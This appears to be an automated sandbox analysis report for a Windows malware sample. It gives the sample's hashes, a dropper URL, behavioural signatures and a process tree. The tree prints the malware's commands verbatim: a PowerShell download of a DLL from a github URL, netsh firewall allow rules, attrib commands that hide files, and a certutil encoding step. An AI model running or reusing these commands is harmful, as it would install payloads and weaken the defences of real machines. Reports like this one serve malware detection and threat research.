Analysis

  • max time kernel
    1s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2024, 19:22

General

  • Target

    aa947ac87e8151f7a183a3ce9b0d5860.exe

  • Size

    14.2MB

  • MD5

    aa947ac87e8151f7a183a3ce9b0d5860

  • SHA1

    02a6e9b5306695b60e58ff01ea8accc57759d6df

  • SHA256

    ca1cabde17679a02f29582e8e15a59936bb6aea4c54793e1e01e1c2305c8b6a0

  • SHA512

    1d77c6550e4426b9127f5887fa0b9294535bbca37e8814b2753b43b8f6e011584e3fd91917dc01b8606ea70457032f92cf6206eadef0437b9f0da50b3ddc28cd

  • SSDEEP

    196608:Zu/SB9ssPSSBsElKV1bIQWfjnXVnvOlRusma7glv2Xnr6swPGOkB2bilY2nw:ug9soFplSMnF87glvQmvPlbyY

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/NGROKC/CTC/raw/main/SInject2.dll

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Program crash 1 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe
    "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"
    1⤵
      PID:5116
      • C:\Users\Admin\AppData\Local\Temp\tmp5B5E.tmpDawn Launcher V2.exe
        "C:\Users\Admin\AppData\Local\Temp\tmp5B5E.tmpDawn Launcher V2.exe"
        2⤵
          PID:1232
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"
          2⤵
            PID:4200
          • C:\Windows\SysWOW64\explorer.exe
            "C:\Windows\System32\explorer.exe" C:\Users\Admin\AppData\Roaming\Dawn.exe
            2⤵
              PID:3120
          • C:\Windows\SysWOW64\attrib.exe
            attrib +s +h +r "C:\Users\Admin\AppData\Local\Temp\aa947ac87e8151f7a183a3ce9b0d5860.exe"
            1⤵
            • Sets file to hidden
            • Views/modifies file attributes
            PID:4520
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
            1⤵
              PID:3564
              • C:\Users\Admin\AppData\Roaming\Dawn.exe
                "C:\Users\Admin\AppData\Roaming\Dawn.exe"
                2⤵
                  PID:5020
                  • C:\Users\Admin\AppData\Local\Temp\tmp76E5.tmpDawn Launcher V2.exe
                    "C:\Users\Admin\AppData\Local\Temp\tmp76E5.tmpDawn Launcher V2.exe"
                    3⤵
                      PID:3128
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c attrib +s +h +r "C:\Users\Admin\AppData\Roaming\Dawn.exe"
                      3⤵
                        PID:1388
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Dawn.exe" "Dawn.exe" ENABLE
                        3⤵
                        • Modifies Windows Firewall
                        PID:3536
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Dawn.exe" "Dawn.exe" ENABLE
                        3⤵
                        • Modifies Windows Firewall
                        PID:2368
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\inj.bat" "
                        3⤵
                          PID:4492
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/SInject2.dll','C:\Users\Admin\AppData\Roaming\SInject2.dll');exit
                            4⤵
                              PID:1620
                          • C:\Windows\SysWOW64\certutil.exe
                            certutil -encode C:\Users\Admin\AppData\Roaming\SInject1.exe C:\Users\Admin\AppData\Roaming\SInject3.bin
                            3⤵
                              PID:4964
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 5020 -s 2620
                              3⤵
                              • Program crash
                              PID:4200
                        • C:\Windows\SysWOW64\attrib.exe
                          attrib +s +h +r "C:\Users\Admin\AppData\Roaming\Dawn.exe"
                          1⤵
                          • Sets file to hidden
                          • Views/modifies file attributes
                          PID:5040
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5020 -ip 5020
                          1⤵
                            PID:5072

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • memory/1232-18-0x00007FFE4C540000-0x00007FFE4C542000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-22-0x00007FFE4C580000-0x00007FFE4C582000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-19-0x00007FFE4C550000-0x00007FFE4C552000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-15-0x00007FFE4C520000-0x00007FFE4C522000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-53-0x0000000140000000-0x0000000141F88000-memory.dmp

                                  Filesize

                                  31.5MB

                                • memory/1232-29-0x00007FFE4C5F0000-0x00007FFE4C5F2000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-14-0x00007FFE4C510000-0x00007FFE4C512000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-16-0x00007FFE4C530000-0x00007FFE4C532000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-17-0x0000000140000000-0x0000000141F88000-memory.dmp

                                  Filesize

                                  31.5MB

                                • memory/1232-21-0x00007FFE4C570000-0x00007FFE4C572000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-27-0x00007FFE4C5D0000-0x00007FFE4C5D2000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-26-0x00007FFE4C5C0000-0x00007FFE4C5C2000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-20-0x00007FFE4C560000-0x00007FFE4C562000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-31-0x00007FFE4C610000-0x00007FFE4C612000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-30-0x00007FFE4C600000-0x00007FFE4C602000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-32-0x0000000140000000-0x0000000141F88000-memory.dmp

                                  Filesize

                                  31.5MB

                                • memory/1232-28-0x00007FFE4C5E0000-0x00007FFE4C5E2000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-25-0x00007FFE4C5B0000-0x00007FFE4C5B2000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-24-0x00007FFE4C5A0000-0x00007FFE4C5A2000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1232-23-0x00007FFE4C590000-0x00007FFE4C592000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1620-88-0x0000000005530000-0x0000000005B58000-memory.dmp

                                  Filesize

                                  6.2MB

                                • memory/1620-102-0x0000000006400000-0x000000000644C000-memory.dmp

                                  Filesize

                                  304KB

                                • memory/1620-110-0x0000000075310000-0x0000000075AC0000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/1620-103-0x0000000007AC0000-0x000000000813A000-memory.dmp

                                  Filesize

                                  6.5MB

                                • memory/1620-104-0x00000000068C0000-0x00000000068DA000-memory.dmp

                                  Filesize

                                  104KB

                                • memory/1620-84-0x0000000002AA0000-0x0000000002AD6000-memory.dmp

                                  Filesize

                                  216KB

                                • memory/1620-85-0x0000000075310000-0x0000000075AC0000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/1620-86-0x0000000002B00000-0x0000000002B10000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/1620-101-0x00000000063C0000-0x00000000063DE000-memory.dmp

                                  Filesize

                                  120KB

                                • memory/1620-89-0x0000000005400000-0x0000000005422000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/1620-100-0x0000000005ED0000-0x0000000006224000-memory.dmp

                                  Filesize

                                  3.3MB

                                • memory/1620-90-0x0000000005B60000-0x0000000005BC6000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/1620-87-0x0000000002B00000-0x0000000002B10000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/3128-75-0x0000000140000000-0x0000000141F88000-memory.dmp

                                  Filesize

                                  31.5MB

                                • memory/3128-71-0x0000000140000000-0x0000000141F88000-memory.dmp

                                  Filesize

                                  31.5MB

                                • memory/5020-44-0x0000000005A50000-0x0000000005A60000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/5020-111-0x0000000075310000-0x0000000075AC0000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/5020-78-0x0000000075310000-0x0000000075AC0000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/5020-43-0x0000000075310000-0x0000000075AC0000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/5020-83-0x0000000005A50000-0x0000000005A60000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/5116-0-0x0000000075390000-0x0000000075B40000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/5116-4-0x0000000005D90000-0x0000000005DF6000-memory.dmp

                                  Filesize

                                  408KB

                                • memory/5116-40-0x0000000075390000-0x0000000075B40000-memory.dmp

                                  Filesize

                                  7.7MB

                                • memory/5116-5-0x0000000005F40000-0x0000000005F50000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/5116-1-0x00000000004A0000-0x00000000012D6000-memory.dmp

                                  Filesize

                                  14.2MB

                                • memory/5116-3-0x0000000005CF0000-0x0000000005D8C000-memory.dmp

                                  Filesize

                                  624KB

                                • memory/5116-2-0x0000000006200000-0x00000000067A4000-memory.dmp

                                  Filesize

                                  5.6MB